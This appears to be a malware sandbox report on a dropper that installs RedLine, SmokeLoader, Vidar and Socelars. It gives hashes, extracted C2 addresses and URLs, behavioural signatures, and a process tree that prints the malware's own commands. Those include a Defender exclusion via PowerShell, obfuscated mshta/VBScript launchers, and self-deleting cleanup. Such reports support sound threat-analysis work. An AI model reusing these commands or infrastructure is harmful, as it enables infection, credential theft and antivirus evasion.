Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows11_x64
10setup_x86_...ll.exe
windows10_x64
setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10Resubmissions
02/12/2021, 07:35
211202-je6zgsfge4 1010/09/2021, 20:31
210910-za2rzaaeh3 1010/09/2021, 19:40
210910-ydvmdsdffp 1010/09/2021, 12:06
210910-n9s4bsdbep 1010/09/2021, 05:37
210910-gbjcxahdh2 1009/09/2021, 22:16
210909-17av7aghb7 1009/09/2021, 22:12
210909-14mqksgha9 1009/09/2021, 22:12
210909-14l42sgha8 1009/09/2021, 22:11
210909-14e1qsgha7 1009/09/2021, 22:11
210909-138lnacacn 10Analysis
-
max time kernel
37s -
max time network
626s -
platform
windows10_x64 -
resource
win10-jp -
submitted
09/09/2021, 22:11
Static task
static1
Behavioral task
behavioral1
Sample
setup_x86_x64_install.exe
Resource
win7-jp
Behavioral task
behavioral2
Sample
setup_x86_x64_install.exe
Resource
win7-fr
Behavioral task
behavioral3
Sample
setup_x86_x64_install.exe
Resource
win7v20210408
Behavioral task
behavioral4
Sample
setup_x86_x64_install.exe
Resource
win7-de
Behavioral task
behavioral5
Sample
setup_x86_x64_install.exe
Resource
win11
Behavioral task
behavioral6
Sample
setup_x86_x64_install.exe
Resource
win10v20210408
Behavioral task
behavioral7
Sample
setup_x86_x64_install.exe
Resource
win10-jp
Behavioral task
behavioral8
Sample
setup_x86_x64_install.exe
Resource
win10-fr
Behavioral task
behavioral9
Sample
setup_x86_x64_install.exe
Resource
win10-en
General
-
Target
setup_x86_x64_install.exe
-
Size
4.3MB
-
MD5
6d18c8e8ab9051f7a70b89ff7bb0ec35
-
SHA1
265311e2afd9f59e824f4b77162cf3dfa278eb7e
-
SHA256
8fe6c86b038ce91a991fe6eb8a9b323bb37b554ff6b4e5c18de3fe52d4aedf6d
-
SHA512
249bf79dc90d4662b942c7eed2a7b7816b749f6d5f7bc190bba05f826fa143d0b44f58054d8649b8626884c5fcbd1cea8abd625dc701d44b7aaac84fc74e47ff
Malware Config
Extracted
http://shellloader.com/welcome
Extracted
redline
pab123
45.14.49.169:22411
Extracted
smokeloader
2020
http://varmisende.com/upload/
http://fernandomayol.com/upload/
http://nextlytm.com/upload/
http://people4jan.com/upload/
http://asfaltwerk.com/upload/
Extracted
vidar
40.5
706
https://gheorghip.tumblr.com/
-
profile_id
706
Signatures
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6072 5376 rundll32.exe 144 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6680 5376 rundll32.exe 144 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6736 5376 rundll32.exe 144 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 2 IoCs
resource yara_rule behavioral7/memory/2196-228-0x0000000004960000-0x000000000497F000-memory.dmp family_redline behavioral7/memory/2196-235-0x0000000004C40000-0x0000000004C5E000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
resource yara_rule behavioral7/files/0x000400000001ab57-141.dat family_socelars behavioral7/files/0x000400000001ab57-187.dat family_socelars -
Vidar Stealer 2 IoCs
resource yara_rule behavioral7/memory/2672-264-0x00000000048F0000-0x00000000049C1000-memory.dmp family_vidar behavioral7/memory/2672-286-0x0000000000400000-0x0000000002BC5000-memory.dmp family_vidar -
resource yara_rule behavioral7/files/0x000700000001ab39-124.dat aspack_v212_v242 behavioral7/files/0x000700000001ab39-125.dat aspack_v212_v242 behavioral7/files/0x000600000001ab48-123.dat aspack_v212_v242 behavioral7/files/0x000600000001ab48-127.dat aspack_v212_v242 behavioral7/files/0x000400000001ab4a-128.dat aspack_v212_v242 behavioral7/files/0x000400000001ab4a-131.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 17 IoCs
pid Process 4836 setup_installer.exe 4956 setup_install.exe 3148 Thu2164f292a11ce.exe 2196 Thu21624565bb917a.exe 2932 Thu2156de5489c19.exe 2648 Thu219d5fe8cf316.exe 3876 Thu21df5caa1b78de6.exe 2688 Thu21b93295136197.exe 2724 Thu21568b0ab8.exe 2672 Thu214ce31cede21.exe 3060 Thu214aaca5625.exe 4880 Thu2102ff6cfe07c.exe 4780 Thu21a1ef054cac78a.exe 216 Thu21b9847cb6727.exe 4576 Thu21b93295136197.tmp 4280 Thu214aaca5625.tmp 780 46807GHF____.exe -
Loads dropped DLL 9 IoCs
pid Process 4956 setup_install.exe 4956 setup_install.exe 4956 setup_install.exe 4956 setup_install.exe 4956 setup_install.exe 4956 setup_install.exe 4576 Thu21b93295136197.tmp 4576 Thu21b93295136197.tmp 4280 Thu214aaca5625.tmp -
resource yara_rule behavioral7/files/0x000400000001ab7c-332.dat themida -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 22 ip-api.com 25 ipinfo.io 64 ipinfo.io 156 ip-api.com 185 ipinfo.io 190 ipinfo.io -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 21 IoCs
pid pid_target Process procid_target 3980 3876 WerFault.exe 104 3100 4776 WerFault.exe 121 5704 3876 WerFault.exe 104 6096 3876 WerFault.exe 104 5984 3876 WerFault.exe 104 1540 2760 WerFault.exe 123 5432 3876 WerFault.exe 104 6024 2760 WerFault.exe 123 6428 3876 WerFault.exe 104 6460 2760 WerFault.exe 123 6792 2760 WerFault.exe 123 6808 3876 WerFault.exe 104 7100 2760 WerFault.exe 123 6680 2760 WerFault.exe 123 5568 2760 WerFault.exe 123 3984 5452 WerFault.exe 241 7636 5452 WerFault.exe 241 8152 5452 WerFault.exe 241 7016 5452 WerFault.exe 241 7988 6512 WerFault.exe 251 4244 4436 WerFault.exe 176 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 6276 schtasks.exe 5736 schtasks.exe 6284 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 1472 timeout.exe -
Kills process with taskkill 4 IoCs
pid Process 5884 taskkill.exe 6916 taskkill.exe 6820 taskkill.exe 6276 taskkill.exe -
Runs ping.exe 1 TTPs 2 IoCs
pid Process 5692 PING.EXE 7612 PING.EXE -
Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 19 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 26 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 68 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 187 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious use of AdjustPrivilegeToken 37 IoCs
description pid Process Token: SeDebugPrivilege 2724 Thu21568b0ab8.exe Token: SeCreateTokenPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeAssignPrimaryTokenPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeLockMemoryPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeIncreaseQuotaPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeMachineAccountPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeTcbPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeSecurityPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeTakeOwnershipPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeLoadDriverPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeSystemProfilePrivilege 4780 Thu21a1ef054cac78a.exe Token: SeSystemtimePrivilege 4780 Thu21a1ef054cac78a.exe Token: SeProfSingleProcessPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeIncBasePriorityPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeCreatePagefilePrivilege 4780 Thu21a1ef054cac78a.exe Token: SeCreatePermanentPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeBackupPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeRestorePrivilege 4780 Thu21a1ef054cac78a.exe Token: SeShutdownPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeDebugPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeAuditPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeSystemEnvironmentPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeChangeNotifyPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeRemoteShutdownPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeUndockPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeSyncAgentPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeEnableDelegationPrivilege 4780 Thu21a1ef054cac78a.exe Token: SeManageVolumePrivilege 4780 Thu21a1ef054cac78a.exe Token: SeImpersonatePrivilege 4780 Thu21a1ef054cac78a.exe Token: SeCreateGlobalPrivilege 4780 Thu21a1ef054cac78a.exe Token: 31 4780 Thu21a1ef054cac78a.exe Token: 32 4780 Thu21a1ef054cac78a.exe Token: 33 4780 Thu21a1ef054cac78a.exe Token: 34 4780 Thu21a1ef054cac78a.exe Token: 35 4780 Thu21a1ef054cac78a.exe Token: SeDebugPrivilege 2648 Thu219d5fe8cf316.exe Token: SeDebugPrivilege 2084 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4576 Thu21b93295136197.tmp -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1540 wrote to memory of 4836 1540 setup_x86_x64_install.exe 81 PID 1540 wrote to memory of 4836 1540 setup_x86_x64_install.exe 81 PID 1540 wrote to memory of 4836 1540 setup_x86_x64_install.exe 81 PID 4836 wrote to memory of 4956 4836 setup_installer.exe 82 PID 4836 wrote to memory of 4956 4836 setup_installer.exe 82 PID 4836 wrote to memory of 4956 4836 setup_installer.exe 82 PID 4956 wrote to memory of 900 4956 setup_install.exe 85 PID 4956 wrote to memory of 900 4956 setup_install.exe 85 PID 4956 wrote to memory of 900 4956 setup_install.exe 85 PID 4956 wrote to memory of 936 4956 setup_install.exe 86 PID 4956 wrote to memory of 936 4956 setup_install.exe 86 PID 4956 wrote to memory of 936 4956 setup_install.exe 86 PID 4956 wrote to memory of 1096 4956 setup_install.exe 93 PID 4956 wrote to memory of 1096 4956 setup_install.exe 93 PID 4956 wrote to memory of 1096 4956 setup_install.exe 93 PID 4956 wrote to memory of 1204 4956 setup_install.exe 87 PID 4956 wrote to memory of 1204 4956 setup_install.exe 87 PID 4956 wrote to memory of 1204 4956 setup_install.exe 87 PID 4956 wrote to memory of 1316 4956 setup_install.exe 88 PID 4956 wrote to memory of 1316 4956 setup_install.exe 88 PID 4956 wrote to memory of 1316 4956 setup_install.exe 88 PID 4956 wrote to memory of 1440 4956 setup_install.exe 89 PID 4956 wrote to memory of 1440 4956 setup_install.exe 89 PID 4956 wrote to memory of 1440 4956 setup_install.exe 89 PID 4956 wrote to memory of 1564 4956 setup_install.exe 92 PID 4956 wrote to memory of 1564 4956 setup_install.exe 92 PID 4956 wrote to memory of 1564 4956 setup_install.exe 92 PID 4956 wrote to memory of 1608 4956 setup_install.exe 90 PID 4956 wrote to memory of 1608 4956 setup_install.exe 90 PID 4956 wrote to memory of 1608 4956 setup_install.exe 90 PID 4956 wrote to memory of 1768 4956 setup_install.exe 91 PID 4956 wrote to memory of 1768 4956 setup_install.exe 91 PID 4956 wrote to memory of 1768 4956 setup_install.exe 91 PID 4956 wrote to memory of 4152 4956 setup_install.exe 94 PID 4956 wrote to memory of 4152 4956 setup_install.exe 94 PID 4956 wrote to memory of 4152 4956 setup_install.exe 94 PID 4956 wrote to memory of 1960 4956 setup_install.exe 95 PID 4956 wrote to memory of 1960 4956 setup_install.exe 95 PID 4956 wrote to memory of 1960 4956 setup_install.exe 95 PID 4956 wrote to memory of 1008 4956 setup_install.exe 96 PID 4956 wrote to memory of 1008 4956 setup_install.exe 96 PID 4956 wrote to memory of 1008 4956 setup_install.exe 96 PID 4956 wrote to memory of 4600 4956 setup_install.exe 97 PID 4956 wrote to memory of 4600 4956 setup_install.exe 97 PID 4956 wrote to memory of 4600 4956 setup_install.exe 97 PID 1096 wrote to memory of 2196 1096 cmd.exe 98 PID 1096 wrote to memory of 2196 1096 cmd.exe 98 PID 1096 wrote to memory of 2196 1096 cmd.exe 98 PID 1316 wrote to memory of 3148 1316 cmd.exe 99 PID 1316 wrote to memory of 3148 1316 cmd.exe 99 PID 1316 wrote to memory of 3148 1316 cmd.exe 99 PID 936 wrote to memory of 2648 936 cmd.exe 100 PID 936 wrote to memory of 2648 936 cmd.exe 100 PID 1768 wrote to memory of 2932 1768 cmd.exe 106 PID 1768 wrote to memory of 2932 1768 cmd.exe 106 PID 1440 wrote to memory of 2688 1440 cmd.exe 102 PID 1440 wrote to memory of 2688 1440 cmd.exe 102 PID 1440 wrote to memory of 2688 1440 cmd.exe 102 PID 4152 wrote to memory of 3876 4152 cmd.exe 104 PID 4152 wrote to memory of 3876 4152 cmd.exe 104 PID 4152 wrote to memory of 3876 4152 cmd.exe 104 PID 1008 wrote to memory of 2724 1008 cmd.exe 103 PID 1008 wrote to memory of 2724 1008 cmd.exe 103 PID 1608 wrote to memory of 2672 1608 cmd.exe 101
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1540 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4836 -
C:\Users\Admin\AppData\Local\Temp\7zS4E2B7FE4\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS4E2B7FE4\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4956 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵PID:900
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2084
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu219d5fe8cf316.exe4⤵
- Suspicious use of WriteProcessMemory
PID:936 -
C:\Users\Admin\AppData\Local\Temp\7zS4E2B7FE4\Thu219d5fe8cf316.exeThu219d5fe8cf316.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2648 -
C:\ProgramData\8826288.exe"C:\ProgramData\8826288.exe"6⤵PID:3708
-
-
C:\ProgramData\6564553.exe"C:\ProgramData\6564553.exe"6⤵PID:4552
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵PID:5284
-
-
-
C:\ProgramData\2663797.exe"C:\ProgramData\2663797.exe"6⤵PID:2872
-
-
C:\ProgramData\6740673.exe"C:\ProgramData\6740673.exe"6⤵PID:1404
-
-
C:\ProgramData\8770094.exe"C:\ProgramData\8770094.exe"6⤵PID:5476
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\ProgramData\8770094.exe"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if """" =="""" for %B iN ( ""C:\ProgramData\8770094.exe"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )7⤵PID:4944
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\ProgramData\8770094.exe"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "" =="" for %B iN ( "C:\ProgramData\8770094.exe" ) do taskkill /Im "%~NxB" /F8⤵PID:936
-
C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXEGZ9~4QZ~O.EXe -P6_oIH__Ioj5q9⤵PID:5724
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if ""-P6_oIH__Ioj5q "" =="""" for %B iN ( ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )10⤵PID:6580
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "-P6_oIH__Ioj5q " =="" for %B iN ( "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE" ) do taskkill /Im "%~NxB" /F11⤵PID:6860
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" T~DJNB.F -u /S10⤵PID:5656
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /Im "8770094.exe" /F9⤵
- Kills process with taskkill
PID:5884
-
-
-
-
-
C:\ProgramData\3966398.exe"C:\ProgramData\3966398.exe"6⤵PID:5620
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21a1ef054cac78a.exe4⤵PID:1204
-
C:\Users\Admin\AppData\Local\Temp\7zS4E2B7FE4\Thu21a1ef054cac78a.exeThu21a1ef054cac78a.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4780 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:5188
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
PID:6916
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2164f292a11ce.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1316 -
C:\Users\Admin\AppData\Local\Temp\7zS4E2B7FE4\Thu2164f292a11ce.exeThu2164f292a11ce.exe5⤵
- Executes dropped EXE
PID:3148
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21b93295136197.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1440 -
C:\Users\Admin\AppData\Local\Temp\7zS4E2B7FE4\Thu21b93295136197.exeThu21b93295136197.exe5⤵
- Executes dropped EXE
PID:2688 -
C:\Users\Admin\AppData\Local\Temp\is-ATG4Q.tmp\Thu21b93295136197.tmp"C:\Users\Admin\AppData\Local\Temp\is-ATG4Q.tmp\Thu21b93295136197.tmp" /SL5="$9007E,138429,56832,C:\Users\Admin\AppData\Local\Temp\7zS4E2B7FE4\Thu21b93295136197.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:4576 -
C:\Users\Admin\AppData\Local\Temp\is-BM465.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-BM465.tmp\Setup.exe" /Verysilent7⤵PID:2736
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"8⤵PID:7596
-
C:\Users\Admin\AppData\Local\Temp\BSKR.exe"C:\Users\Admin\AppData\Local\Temp\BSKR.exe"9⤵PID:4600
-
C:\Users\Admin\AppData\Local\Temp\BSKR.exeC:\Users\Admin\AppData\Local\Temp\BSKR.exe10⤵PID:6680
-
-
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser144.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser144.exe"9⤵PID:7000
-
C:\ProgramData\5809364.exe"C:\ProgramData\5809364.exe"10⤵PID:7064
-
-
C:\ProgramData\1937299.exe"C:\ProgramData\1937299.exe"10⤵PID:5320
-
-
C:\ProgramData\7217466.exe"C:\ProgramData\7217466.exe"10⤵PID:6608
-
-
C:\ProgramData\5074470.exe"C:\ProgramData\5074470.exe"10⤵PID:1660
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\ProgramData\5074470.exe"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if """" =="""" for %B iN ( ""C:\ProgramData\5074470.exe"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )11⤵PID:6936
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\ProgramData\5074470.exe"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "" =="" for %B iN ( "C:\ProgramData\5074470.exe" ) do taskkill /Im "%~NxB" /F12⤵PID:7784
-
C:\Windows\SysWOW64\taskkill.exetaskkill /Im "5074470.exe" /F13⤵
- Kills process with taskkill
PID:6276
-
-
-
-
-
C:\ProgramData\2230764.exe"C:\ProgramData\2230764.exe"10⤵PID:7144
-
-
C:\ProgramData\619736.exe"C:\ProgramData\619736.exe"10⤵PID:6020
-
-
-
C:\Users\Admin\AppData\Local\Temp\Mortician.exe"C:\Users\Admin\AppData\Local\Temp\Mortician.exe"9⤵PID:6072
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c cmd < Cerchia.vsdx10⤵PID:6332
-
C:\Windows\SysWOW64\cmd.execmd11⤵PID:4928
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^JdxmflaMoKJKGKEonRKIDlCuNBztuuxobvTVXbusdtKZTUcnQFZrvdHmOhLNQgGwfAjlQJkqLaammCjTuVhBisMuOxuJLaA$" Attesa.vsdx12⤵PID:8188
-
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comImpedire.exe.com I12⤵PID:4600
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I13⤵PID:5616
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I14⤵PID:7656
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I15⤵PID:3872
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I16⤵PID:6988
-
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping localhost12⤵
- Runs ping.exe
PID:7612
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\foradvertising.exe"C:\Users\Admin\AppData\Local\Temp\foradvertising.exe" /wws19⤵PID:7420
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent8⤵PID:7640
-
C:\Users\Admin\AppData\Local\Temp\is-CJ4BI.tmp\stats.tmp"C:\Users\Admin\AppData\Local\Temp\is-CJ4BI.tmp\stats.tmp" /SL5="$20586,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent9⤵PID:7724
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu214ce31cede21.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1608 -
C:\Users\Admin\AppData\Local\Temp\7zS4E2B7FE4\Thu214ce31cede21.exeThu214ce31cede21.exe5⤵
- Executes dropped EXE
PID:2672 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Thu214ce31cede21.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS4E2B7FE4\Thu214ce31cede21.exe" & del C:\ProgramData\*.dll & exit6⤵PID:7132
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Thu214ce31cede21.exe /f7⤵
- Kills process with taskkill
PID:6820
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 67⤵
- Delays execution with timeout.exe
PID:1472
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2156de5489c19.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1768 -
C:\Users\Admin\AppData\Local\Temp\7zS4E2B7FE4\Thu2156de5489c19.exeThu2156de5489c19.exe5⤵
- Executes dropped EXE
PID:2932 -
C:\Users\Admin\AppData\Local\Temp\tmp408_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp408_tmp.exe"6⤵PID:2368
-
C:\Windows\SysWOW64\dllhost.exedllhost.exe7⤵PID:1828
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Attesa.wmv7⤵PID:5156
-
C:\Windows\SysWOW64\cmd.execmd8⤵PID:688
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^VksJcWfNcDMqfgfCCoOQaENLrlkioAEZRevWUFgpnuTZyylQxdxsqDodbFGlKiEVZMohRaHWUFajKOGYZxNRyhZgTymgZtndBYqaWXYwInbclWFIZIldx$" Braccio.wmv9⤵PID:7444
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comAdorarti.exe.com u9⤵PID:7452
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u10⤵PID:5744
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u11⤵PID:7216
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u12⤵PID:7696
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u13⤵PID:8116
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u14⤵PID:5484
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u15⤵PID:5244
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u16⤵PID:1168
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u17⤵PID:3080
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u18⤵PID:2736
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u19⤵PID:8152
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u20⤵PID:4084
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u21⤵PID:7108
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u22⤵PID:3572
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u23⤵PID:7396
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u24⤵PID:3872
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u25⤵PID:4056
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u26⤵PID:728
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u27⤵PID:3612
-
